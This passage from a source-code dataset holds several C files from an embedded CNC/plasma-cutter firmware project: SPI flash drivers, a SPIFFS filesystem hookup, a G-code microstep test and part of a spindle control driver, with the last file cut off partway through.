open\n\tXIO_FILE_SIZE_EXCEEDED, // maximum file size exceeded\n\tXIO_NO_SUCH_DEVICE,\t\t// illegal or unavailable device\n\tXIO_BUFFER_EMPTY,\t\t// more of a statement of fact than an error code\n\tXIO_BUFFER_FULL,\n\tXIO_BUFFER_FULL_FATAL,\n\tXIO_INITIALIZING,\t\t// system initializing, not ready for use\n\tXIO_ERROR_16,\t\t\t// reserved\n\tXIO_ERROR_17,\t\t\t// reserved\n\tXIO_ERROR_18,\t\t\t// reserved\n\tXIO_ERROR_19\t\t\t// NOTE: XIO codes align to here\n};\n#define XIO_ERRNO_MAX XIO_BUFFER_FULL_NON_FATAL\n\n\n\n/* ASCII characters used by Gcode or otherwise unavailable for special use.\n See NIST sections 3.3.2.2, 3.3.2.3 and Appendix E for Gcode uses.\n See http://www.json.org/ for JSON notation\n\n hex\t char name used by:\n ---- ---- ---------- --------------------\n 0x00 NUL\t null everything\n 0x01 SOH ctrl-A\n 0x02 STX ctrl-B Kinen SPI protocol\n 0x03 ETX ctrl-C Kinen SPI protocol\n 0x04 EOT ctrl-D\n 0x05 ENQ ctrl-E\n 0x06 ACK ctrl-F\n 0x07 BEL ctrl-G\n 0x08 BS ctrl-H\n 0x09 HT ctrl-I\n 0x0A LF ctrl-J\n 0x0B VT ctrl-K\n 0x0C FF ctrl-L\n 0x0D CR ctrl-M\n 0x0E SO ctrl-N\n 0x0F SI ctrl-O\n 0x10 DLE ctrl-P\n 0x11 DC1 ctrl-Q XOFF\n 0x12 DC2 ctrl-R\n 0x13 DC3 ctrl-S XON\n 0x14 DC4 ctrl-T\n 0x15 NAK ctrl-U\n 0x16 SYN ctrl-V\n 0x17 ETB ctrl-W\n 0x18 CAN ctrl-X TinyG / grbl software reset\n 0x19 EM ctrl-Y\n 0x1A SUB ctrl-Z\n 0x1B ESC ctrl-[\n 0x1C FS ctrl-\\\n 0x1D GS ctrl-]\n 0x1E RS ctrl-^\n 0x1F US ctrl-_\n\n 0x20 <space> Gcode blocks\n 0x21 ! excl point TinyG feedhold (trapped and removed from serial stream)\n 0x22 \" quote JSON notation\n 0x23 # number Gcode parameter prefix; JSON topic prefix character\n 0x24 $ dollar TinyG / grbl out-of-cycle settings prefix\n 0x25 & ampersand universal symbol for logical AND (not used here)\n 0x26 % percent\t\tQueue Flush character (trapped and removed from serial stream)\n\t\t\t\t\t\t\t\tAlso sometimes used as a file-start and file-end character in Gcode files\n 0x27 ' single quote\n 0x28 ( open paren Gcode comments\n 0x29 ) close paren Gcode comments\n 0x2A * asterisk Gcode expressions; JSON wildcard character\n 0x2B + plus Gcode numbers, parameters and expressions\n 0x2C , comma JSON notation\n 0x2D - minus Gcode numbers, parameters and expressions\n 0x2E . period Gcode numbers, parameters and expressions\n 0x2F / fwd slash Gcode expressions & block delete char\n 0x3A : colon JSON notation\n 0x3B ; semicolon\tGcode comemnt delimiter (alternate)\n 0x3C < less than Gcode expressions\n 0x3D = equals Gcode expressions\n 0x3E > greaterthan Gcode expressions\n 0x3F ? question mk TinyG / grbl query\n 0x40 @ at symbol\tJSON address prefix character\n\n 0x5B [ open bracketGcode expressions\n 0x5C \\ backslash JSON notation (escape)\n 0x5D ] close brack Gcode expressions\n 0x5E ^ caret Reserved for TinyG in-cycle command prefix\n 0x5F _ underscore\n\n 0x60 ` grave accnt\n 0x7B { open curly JSON notation\n 0x7C | pipe universal symbol for logical OR (not used here)\n 0x7D } close curly JSON notation\n 0x7E ~ tilde TinyG cycle start (trapped and removed from serial stream)\n 0x7F DEL\n*/\n\n#endif\t// end of include guard: XIO_H_ONCE\n" }, { "alpha_fraction": 0.5123626589775085, "alphanum_fraction": 0.5277472734451294, "avg_line_length": 52.52941131591797, "blob_id": "10a50893301ae6322f5d071bf529ac65b22e1abc", "content_id": "7842e1e68458efcceddd6f70508e8960f91a0ef2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3640, "license_type": "no_license", "max_line_length": 81, "num_lines": 68, "path": "/r_flash_loader_rx/src/r_fl_memory.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_fl_memory.h\n* Version : 3.00\n* Description : Low level memory operations are implemented here. \n******************************************************************************/ \n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 05.04.2010 1.00 First Release\n* : 22.03.2011 2.00 First Release for YRDK\n* : 23.02.2012 3.00 Removed all memory specific macros. This info is\n* now found in the 'g_fl_li_mem_info' structure.\n* The 'FL_CFG_MEM_NUM_LOAD_IMAGES' was moved to \n* r_flash_loader_rx_config.h.\n******************************************************************************/\n\n#ifndef FL_MEMORY_H\n#define FL_MEMORY_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Fixed width types support. */\n#include <stdint.h>\n/* Used for bool. */\n#include <stdbool.h>\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Option to erase sector on SPI flash */\n#define FL_MEM_ERASE_SECTOR 0\n/* Option to erase entire SPI flash chip */\n#define FL_MEM_ERASE_CHIP 1\n/* Option to erase block on SPI flash */\n#define FL_MEM_ERASE_BLOCK 2\n\n/******************************************************************************\nExported global functions (to be accessed by other files)\n******************************************************************************/\nvoid fl_mem_init(void);\nvoid fl_mem_read(uint32_t rx_address, uint8_t *rx_buffer, uint32_t rx_bytes);\nvoid fl_mem_write(uint32_t tx_address, uint8_t *tx_buffer, uint32_t tx_bytes);\nbool fl_mem_erase(const uint32_t address, const uint8_t size);\nbool fl_mem_get_busy(void);\n\n#endif /* FL_MEMORY_H */\n" }, { "alpha_fraction": 0.45945945382118225, "alphanum_fraction": 0.563882052898407, "avg_line_length": 16.673913955688477, "blob_id": "c4df31e173d03025de2b1888ad0f6a6cf14d0f0c", "content_id": "f0a8aba5a3e09120d2d0b8cdfab4c4295c1bd628", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 814, "license_type": "no_license", "max_line_length": 101, "num_lines": 46, "path": "/src/cnc/tests/test_014_microsteps.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * test_014_coordinate_offsets.h\n *\n * Tests movement in 4 axes with all microatep settings. All moves should be the same length and time\n *\n * Notes:\n *\t -\tThe character array should be derived from the filename (by convention)\n *\t - Comments are not allowed in the char array, but gcode comments are OK e.g. (g0 test)\n */\nconst char test_microsteps[] PROGMEM = \"\\\n(MSG**** Microstep Test [v1] ****)\\n\\\nG00 G17 G21 G40 G49 G80 G90\\n\\\ng0x0y0z0\\n\\\n{\\\"1mi\\\":1}\\n\\\n{\\\"2mi\\\":1}\\n\\\n{\\\"3mi\\\":1}\\n\\\n{\\\"4mi\\\":1}\\n\\\ng0 x10\\n\\\n{\\\"1mi\\\":2}\\n\\\nx0\\n\\\n{\\\"1mi\\\":4}\\n\\\nx10\\n\\\n{\\\"1mi\\\":8}\\n\\\nx0\\n\\\ng0 y10\\n\\\n{\\\"2mi\\\":2}\\n\\\ny0\\n\\\n{\\\"2mi\\\":4}\\n\\\ny10\\n\\\n{\\\"2mi\\\":8}\\n\\\ny0\\n\\\ng0 z10\\n\\\n{\\\"3mi\\\":2}\\n\\\nz0\\n\\\n{\\\"3mi\\\":4}\\n\\\nz10\\n\\\n{\\\"3mi\\\":8}\\n\\\nz0\\n\\\ng0 a10\\n\\\n{\\\"4mi\\\":2}\\n\\\na0\\n\\\n{\\\"4mi\\\":4}\\n\\\na10\\n\\\n{\\\"4mi\\\":8}\\n\\\na0\\n\\\nm2\";\n\n" }, { "alpha_fraction": 0.45401301980018616, "alphanum_fraction": 0.46898049116134644, "avg_line_length": 52.58139419555664, "blob_id": "a693b2c17bd0648a1392456f17e190b72d0f3180", "content_id": "b7782ba80054cb437ef0dd626aed22f5c37d4b1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4610, "license_type": "no_license", "max_line_length": 120, "num_lines": 86, "path": "/r_spi_flash/src/chips/r_spi_flash_sst25.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name\t : r_spi_flash_sst25.h\n* Description : This header file has specifics for SST 25 series SPI flashes.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 29.02.2012 1.00 First Release \n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Write protect bit mask. If WP is bit 0 then it would be 0x01. If it is bit 7 it would be 0x80. */\n#define SF_WP_BIT_MASK (0x80)\n\n/* 'Write in progress' bit mask. */\n#define SF_WIP_BIT_MASK (0x01)\n\n/****************SPI FLASH COMMANDS****************/\n/* Write Enable command */\n#define SF_CMD_WRITE_ENABLE (0x06)\n\n/* Write SPI flash status register command. */\n#define SF_CMD_WRITE_STATUS_REG (0x01)\n\n/* Read status register command. */\n#define SF_CMD_READ_STATUS_REG (0x05)\n\n/* Read ID command. */\n#define SF_CMD_READ_ID (0x9F)\n\n/* Erase size options. */\n/* Sector erase command. */\n#define SF_CMD_ERASE_SECTOR (0x20)\n/* Erase all of memory. */\n#define SF_CMD_ERASE_BULK (0xC7)\n/* Erase all of memory. */\n#define SF_CMD_ERASE_BLOCK (0xD8)\n\n\n/* Page program command. */\n#define SF_CMD_PAGE_PROGRAM (0x02)\n\n/* Read command. */\n#define SF_CMD_READ (0x03)\n\n/****************MEMORY SPECIFICS****************/\n/* Minimum erase size. */\n#define SF_MEM_MIN_ERASE_BYTES (0x1000) //SST25 has 4KB erase sectors\n\n/* Maximum bytes to program with one program command. */\n#define SF_MEM_MAX_PROGRAM_BYTES (256)\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n/* This typedef lists the available erase options. Most SPI flashes have multiple options but the minimum options are \n usually a sector and bulk erase. */\ntypedef enum\n{\n SF_ERASE_SECTOR = 0,\n SF_ERASE_BULK,\n\tSF_ERASE_BLOCK\n} sf_erase_sizes_t;\n\n\n" }, { "alpha_fraction": 0.515584409236908, "alphanum_fraction": 0.5457542538642883, "avg_line_length": 27.600000381469727, "blob_id": "cb60a2ab0be7337e08cdf8f94a3a3905a7480738", "content_id": "b4dd1b5ad265c214721a33e4c201a3e209adbb37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10010, "license_type": "no_license", "max_line_length": 120, "num_lines": 350, "path": "/spiffs/spiffs_hw.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * spiffs_hw.c\n *\n * Created on: Jul 25, 2016\n * Author: LAfonso01\n */\n#include \"platform.h\"\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"fsystem_spi.h\"\n#include \"spiffs.h\"\n#include \"r_spi_flash_if.h\"\n#include \"spiffs_hw.h\"\n#include \"xio.h\"\n#include \"spiflash.h\"\n\n#define LOG_PAGE_SIZE 256\n\nstatic u8_t spiffs_work_buf[LOG_PAGE_SIZE*2];\nstatic u8_t spiffs_fds[32*4];\nstatic u8_t spiffs_cache_buf[(LOG_PAGE_SIZE+32)*4];\n\nstatic spiffs *fs = (spiffs *)&uspiffs[0].gSPIFFS;\nstatic spiffs_config cfg;\n\n\n\nstatic void SPI_init(void);\nstatic bool RSPI1_Write( const uint8_t *pSrc, uint16_t usBytes);\nstatic bool RSPI1_Read( uint8_t *pDest,uint16_t usBytes);\nstatic bool RSPI1_rx_buffer_full (void);\n\nstatic int impl_spiflash_spi_txrx(spiflash_t *spi, const uint8_t *tx_data,\n uint32_t tx_len, uint8_t *rx_data, uint32_t rx_len);\n\nstatic void impl_spiflash_spi_cs(spiflash_t *spi, uint8_t cs);\n\nstatic void impl_spiflash_wait(spiflash_t *spi, uint32_t ms);\n\nstatic const spiflash_hal_t my_spiflash_hal = {\n ._spiflash_spi_txrx = impl_spiflash_spi_txrx,\n ._spiflash_spi_cs = impl_spiflash_spi_cs,\n ._spiflash_wait = impl_spiflash_wait\n};\n\n//static s32_t my_spiffs_read(u32_t addr, u32_t size, u8_t *dst) ;\n//static s32_t my_spiffs_write(u32_t addr, u32_t size, u8_t *src);\n//static s32_t my_spiffs_erase(u32_t addr, u32_t size);\n\nconst spiflash_cmd_tbl_t my_spiflash_cmds = { \\\n\t .write_disable = 0x04, \\\n\t .write_enable = 0x06, \\\n\t .page_program = 0x02, \\\n\t .read_data = 0x03, \\\n\t .read_data_fast = 0x0b, \\\n\t .write_sr = 0x01, \\\n\t .read_sr = 0x05, \\\n\t\t.clear_sr = 0x30, \\\n\t .block_erase_4 = 0x20, \\\n\t .block_erase_8 = 0x00, \\\n\t .block_erase_16 = 0x00, \\\n\t .block_erase_32 = 0x52, \\\n\t .block_erase_64 = 0xd8, \\\n\t .chip_erase = 0xc7, \\\n\t .device_id = 0x90, \\\n\t .jedec_id = 0x9f, \\\n\t .sr_busy_bit = 0x01, \\\n\t };\n\nconst spiflash_config_t my_spiflash_config = {\n .sz = 1024*1024*8, // e.g. for a 2 MB flash\n .page_sz = 256, // normally 256 byte pages\n .addr_sz = 3, // normally 3 byte addressing\n .addr_dummy_sz = 0, // using single line data, not quad or something\n .addr_endian = SPIFLASH_ENDIANNESS_BIG, // normally big endianess on addressing\n .sr_write_ms = 10,\n .page_program_ms = 1,\n .block_erase_4_ms = 0,\n .block_erase_8_ms = 0, // not supported\n .block_erase_16_ms = 0, // not supported\n .block_erase_32_ms = 0,\n .block_erase_64_ms = 1,\n .chip_erase_ms = 35000\n};\n\nspiflash_t spif;\n\ns32_t spiffs_init(void)\n{\n\tint res;\n\n\tSPI_init();\n\tSPIFLASH_init(&spif,\n\t\t\t&my_spiflash_config,\n\t\t\t&my_spiflash_cmds,\n\t\t\t&my_spiflash_hal,\n\t\t\t0,\n\t\t\tSPIFLASH_SYNCHRONOUS,\n\t\t\tNULL);\n\n\n\tcfg.hal_read_f = spi_mem_read;\n\tcfg.hal_write_f = spi_mem_write;\n\tcfg.hal_erase_f = spi_mem_erase;\n\n\tres = SPIFFS_mount(fs,\n\t\t\t&cfg,\n\t\t\tspiffs_work_buf,\n\t\t\tspiffs_fds,\n\t\t\tsizeof(spiffs_fds),\n\t\t\tspiffs_cache_buf,\n\t\t\tsizeof(spiffs_cache_buf),\n\t\t\t0);\n\n\treturn res;\n}\n\ns32_t spiffs_format(void)\n{\n\ts32_t res = 0;\n\n\tres = SPIFFS_mount(fs,\n\t\t\t&cfg,\n\t\t\tspiffs_work_buf,\n\t\t\tspiffs_fds,\n\t\t\tsizeof(spiffs_fds),\n\t\t\tspiffs_cache_buf,\n\t\t\tsizeof(spiffs_cache_buf),\n\t\t\t0);\n\n\tSPIFFS_unmount(fs);\n\tres = SPIFFS_format(fs);\n\tif (res != SPIFFS_OK)\n\t{\n\t\treturn res;\n\t}\n\n\tres = SPIFFS_mount(fs,\n\t\t\t&cfg,\n\t\t\tspiffs_work_buf,\n\t\t\tspiffs_fds,\n\t\t\tsizeof(spiffs_fds),\n\t\t\tspiffs_cache_buf,\n\t\t\tsizeof(spiffs_cache_buf),\n\t\t\t0);\n\treturn res;\n}\n\ns32_t spi_mem_read(u32_t addr, u32_t size, u8_t *dst) {\n\tSPIFLASH_read(&spif,addr, size, dst);\n return SPIFFS_OK;\n}\n\ns32_t spi_mem_write(u32_t addr, u32_t size, u8_t *src) {\n\tSPIFLASH_write(&spif,addr, size, src);\n return SPIFFS_OK;\n}\n\ns32_t spi_mem_erase(u32_t addr, u32_t size) {\n\tSPIFLASH_erase(&spif,addr, size);\n return SPIFFS_OK;\n}\n\nstatic int impl_spiflash_spi_txrx(spiflash_t *spi, const uint8_t *tx_data,\n uint32_t tx_len, uint8_t *rx_data, uint32_t rx_len) {\n int res = SPIFLASH_OK;\n if (tx_len > 0) {\n // first transmit tx_len bytes from tx_data if needed\n res = RSPI1_Write(tx_data, tx_len);\n }\n\n if (res == SPIFLASH_OK && rx_len > 0) {\n // then receive rx_len bytes into rx_data if needed\n res = RSPI1_Read(rx_data, rx_len);\n }\n\n return res;\n}\n\nstatic void impl_spiflash_spi_cs(spiflash_t *spi, uint8_t cs) {\n if (cs) {\n // assert cs pin\n\tSPIFLASH_CS = 0;\n } else {\n // de assert cs pin\n\tSPIFLASH_CS = 1;\n }\n}\n\nstatic void impl_spiflash_wait(spiflash_t *spi, uint32_t ms) {\n vTaskDelay(ms/portTICK_PERIOD_MS);\n}\n\nstatic void SPI_init(void)\n{\nbool lock;\n /* Initialize peripherals used for talking to SPI flash */\n\t//R_RSPI_Open(channel, &spiflash_config, spiflash_callback, &spiflash_handle);\n\t/* Get the looking */\n if(R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_RSPI1)))\n {\n \tSPIFLASH_CS = 1;\n\t\tR_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\t\tMSTP(RSPI1) = 0; /* Init peripheral */\n\t\tR_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n IPR(RSPI1, SPRI1) = 3;\n IEN(RSPI1, SPRI1) = 0;\n IEN(RSPI1, SPTI1) = 0;\n IR(RSPI1, SPRI1) = 0 ;\n\n RSPI1.SPCR.BYTE = 0x00; /*Clock synchronous operation; Master mode*/\n /* Set RSPI bit rate (SPBR) */\n /* -Set baud rate to 24Mbps (48MHz / (2 * (0 + 1) * 2^0) ) = 24Mbps */\n RSPI1.SPBR = 0;\n\n /* Set RSPI data control register (SPDCR) */\n /* -SPDR is accessed in longwords (32 bits)\n -Transfer 1 frame at a time */\n RSPI1.SPDCR.BYTE = 0x20;\n\n /* Set RSPI control register 2 (SPCR2) */\n /* -Disable Idle interrupt */\n RSPI1.SPCR2.BYTE = 0x00;\n\n /* Set RSPI command register 0 (SPCMD0) */\n /* -MSB first\n -8 bits data length\n -SSL0 (handled manually)\n -Use bit rate % 1\n */\n RSPI1.SPCMD0.WORD = 0x0400;\n\n /* Set RSPI control register (SPCR) */\n /* -Clock synchronous operation (3-wire)\n -Full duplex operation\n -Master mode\n -SPTI and SPRI enabled in RSPI (have to check ICU also)\n -Enable RSPI function */\n RSPI1.SPCR.BYTE = 0xE9;\n }\n}\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Read\n* Description : Reads data using RSPI\n* Arguments : channel -\n* Which channel to use\n* pDest -\n* Pointer to location to put the received data.\n* Returned value will be incremented by number of bytes received.\n* usBytes -\n* number of bytes to be received\n* pid -\n* Unique task ID. Used to make sure tasks don't step on each other.\n* Return Value : true -\n* Operation completed.\n* false -\n* This task did lock the RSPI fist.\n***********************************************************************************************************************/\nstatic bool RSPI1_Read( uint8_t *pDest,\n uint16_t usBytes)\n{\n uint16_t byte_count;\n volatile uint32_t temp;\n\n for (byte_count = 0; byte_count < usBytes; byte_count++)\n {\n /* Ensure transmit register is empty */\n while (RSPI1.SPSR.BIT.IDLNF) ;\n\n /* If just reading then transmit 0xFF */\n RSPI1.SPDR.LONG = 0xFFFFFFFF ;\n\n while (false == RSPI1_rx_buffer_full())\n {\n /* Transfer is complete when a byte has been shifted in (full duplex) */\n }\n\n /* Read received data. If transmit only, then ignore it */\n pDest[byte_count] = (uint8_t) (RSPI1.SPDR.LONG & 0xFF);\n }\n\n return SPIFLASH_OK;\n}\n\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Write\n* Description : Write to a SPI device\n* Arguments : channel -\n* Which channel to use\n* pSrc -\n* Pointer to data buffer with data to be transmitted.\n* Returned value will be incremented by number of attempted writes.\n* usBytes -\n* Number of bytes to be sent\n* pid -\n* Unique task ID. Used to make sure tasks don't step on each other.\n* Return Value : true -\n* Operation completed.\n* false -\n* This task did lock the RSPI fist.\n***********************************************************************************************************************/\nstatic bool RSPI1_Write( const uint8_t *pSrc, uint16_t usBytes)\n{\n uint16_t byte_count;\n volatile uint32_t temp;\n\n for (byte_count = 0; byte_count < usBytes; byte_count++)\n {\n /* Ensure transmit register is empty */\n while (RSPI1.SPSR.BIT.IDLNF) ;\n\n /* If just reading then transmit 0xFF */\n RSPI1.SPDR.LONG = pSrc[byte_count];\n\n while (false == RSPI1_rx_buffer_full())\n {\n /* Transfer is complete when a byte has been shifted in (full duplex) */\n }\n\n /* Read received data. If transmit only, then ignore it */\n temp = RSPI1.SPDR.LONG;\n }\n return SPIFLASH_OK;\n}\n\n/***********************************************************************************************************************\n* Function Name: rspi_rx_buffer_full\n* Description : Returns whether the receive buffer full flag is set for a RSPI channel. Clear flag after read.\n* Arguments : channel -\n* Which channel to use.\n* Return Value : true -\n* Flag is set.\n* false -\n* Flag is not set.\n***********************************************************************************************************************/\nstatic bool RSPI1_rx_buffer_full (void)\n{\n bool flag_set = false;\n\n if (1 == IR(RSPI1, SPRI1))\n {\n /* Clear bit. */\n IR(RSPI1, SPRI1) = 0;\n\n flag_set = true;\n }\n return flag_set;\n}\n" }, { "alpha_fraction": 0.6747344732284546, "alphanum_fraction": 0.6843113303184509, "avg_line_length": 29.54787254333496, "blob_id": "59340151ed580b4bfae64ca5323c9b4fa3216864", "content_id": "bb0486da156405fda3dbd1c979f1d8a712209bdb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5743, "license_type": "no_license", "max_line_length": 103, "num_lines": 188, "path": "/src/cnc/spindle.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * spindle.c - canonical machine spindle driver\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#include \"tinyg.h\"\t\t// #1\n#include \"config.h\"\t\t// #2\n#include \"spindle.h\"\n#include \"gpio.h\"\n#include \"planner.h\"\n#include \"hardware.h\"\n#include \"pwm.h\"\n#include \"eeprom.h\"\n#include \"plasma.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\nextern bool sim;\nbool simTorch = false;\n\nstatic void _exec_spindle_control(float *value, float *flag);\nstatic void _exec_spindle_speed(float *value, float *flag);\n\n/*\n * cm_spindle_init()\n */\nvoid cm_spindle_init()\n{\n\tif( pwm.c[PWM_1].frequency < 0 )\n\t\tpwm.c[PWM_1].frequency = 0;\n\n pwm_set_freq(PWM_1, pwm.c[PWM_1].frequency);\n pwm_set_duty(PWM_1, pwm.c[PWM_1].phase_off);\n}\n\n/*\n * cm_get_spindle_pwm() - return PWM phase (duty cycle) for dir and speed\n */\nfloat cm_get_spindle_pwm( uint8_t spindle_mode )\n{\n\tfloat speed_lo=0, speed_hi=0, phase_lo=0, phase_hi=0;\n\tif (spindle_mode == SPINDLE_CW ) {\n\t\tspeed_lo = pwm.c[PWM_1].cw_speed_lo;\n\t\tspeed_hi = pwm.c[PWM_1].cw_speed_hi;\n\t\tphase_lo = pwm.c[PWM_1].cw_phase_lo;\n\t\tphase_hi = pwm.c[PWM_1].cw_phase_hi;\n\t} else if (spindle_mode == SPINDLE_CCW ) {\n\t\tspeed_lo = pwm.c[PWM_1].ccw_speed_lo;\n\t\tspeed_hi = pwm.c[PWM_1].ccw_speed_hi;\n\t\tphase_lo = pwm.c[PWM_1].ccw_phase_lo;\n\t\tphase_hi = pwm.c[PWM_1].ccw_phase_hi;\n\t}\n\n\tif (spindle_mode==SPINDLE_CW || spindle_mode==SPINDLE_CCW ) {\n\t\t// clamp spindle speed to lo/hi range\n\t\tif( cm.gm.spindle_speed < speed_lo ) cm.gm.spindle_speed = speed_lo;\n\t\tif( cm.gm.spindle_speed > speed_hi ) cm.gm.spindle_speed = speed_hi;\n\n\t\t// normalize speed to [0..1]\n\t\tfloat speed = (cm.gm.spindle_speed - speed_lo) / (speed_hi - speed_lo);\n\t\treturn (speed * (phase_hi - phase_lo)) + phase_lo;\n\t} else {\n\t\treturn pwm.c[PWM_1].phase_off;\n\t}\n}\n\n/*\n * cm_spindle_control() - queue the spindle command to the planner buffer\n * cm_exec_spindle_control() - execute the spindle command (called from planner)\n */\n\nstat_t cm_spindle_control(uint8_t spindle_mode)\n{\n\tfloat value[AXES] = { (float)spindle_mode, 0,0,0,0,0 };\n\tmp_queue_command(_exec_spindle_control, value, value);\n\treturn(STAT_OK);\n}\n\n//static void _exec_spindle_control(uint8_t spindle_mode, float f, float *vector, float *flag)\nstatic void _exec_spindle_control(float *value, float *flag)\n{\n\tuint8_t spindle_mode = (uint8_t)value[0];\n\tcm_set_spindle_mode(MODEL, spindle_mode);\n\n #ifdef __AVR\n\tif (spindle_mode == SPINDLE_CW) {\n\t\tgpio_set_bit_on(SPINDLE_BIT);\n\t\tgpio_set_bit_off(SPINDLE_DIR);\n\t} else if (spindle_mode == SPINDLE_CCW) {\n\t\tgpio_set_bit_on(SPINDLE_BIT);\n\t\tgpio_set_bit_on(SPINDLE_DIR);\n\t} else {\n\t\tgpio_set_bit_off(SPINDLE_BIT);\t// failsafe: any error causes stop\n\t}\n#endif // __AVR\n#ifdef __ARM\n\tif (spindle_mode == SPINDLE_CW) {\n\t\tspindle_enable_pin.set();\n\t\tspindle_dir_pin.clear();\n\t} else if (spindle_mode == SPINDLE_CCW) {\n\t\tspindle_enable_pin.set();\n\t\tspindle_dir_pin.set();\n\t} else {\n\t\tspindle_enable_pin.clear();\t// failsafe: any error causes stop\n\t}\n#endif // __ARM\n#ifdef __RX\n\tif (spindle_mode == SPINDLE_CW) {\n\t\tif(!sim){\n\t\t\tif (configFlags[MODOMAQUINA] == 0){\n//\t\t\t\tpl_arcook_start();\n\t\t\t}\n\t\t\tTORCH = TRUE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tsimTorch = true;\n\t\t}\n\t} else if 